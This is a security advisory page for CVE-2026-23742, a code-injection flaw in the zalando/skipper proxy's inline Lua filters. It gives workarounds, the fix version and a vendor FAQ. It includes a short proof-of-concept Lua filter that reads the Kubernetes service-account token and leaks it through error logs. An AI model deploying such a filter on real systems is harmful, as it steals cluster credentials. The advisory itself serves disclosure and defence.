CVE-2026-23742

Workarounds

You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example -lua-sources=file will only be exploitable if the attacker can create a lua script file on the target system.

References

https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources

Arbitrary code execution through lua filters.

The default skipper configuration before v0.23 was -lua-sources=inline,file.
The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.

Kubernetes example (vulnerability is not limited to Kubernetes)

function request(ctx, params)
  local file = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
  if file then
    local token = file:read('*all')
    file:close()
    error('[EXFIL] ' .. token)  -- Exfiltrate via error logs
  end
end

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-23742 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.0); upgrading removes the vulnerable code path.

Kodem intelligence

https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.

1. What is CVE-2026-23742? CVE-2026-23742 is a high-severity code injection vulnerability in github.com/zalando/skipper (go), affecting versions < 0.23.0. It is fixed in 0.23.0. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-23742? CVE-2026-23742 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/zalando/skipper are affected by CVE-2026-23742? github.com/zalando/skipper (go) versions < 0.23.0 is affected.
4. Is there a fix for CVE-2026-23742? Yes. CVE-2026-23742 is fixed in 0.23.0. Upgrade to this version or later.
5. Is CVE-2026-23742 exploitable, and should I be worried? Whether CVE-2026-23742 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23742 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-23742? Upgrade github.com/zalando/skipper to 0.23.0 or later.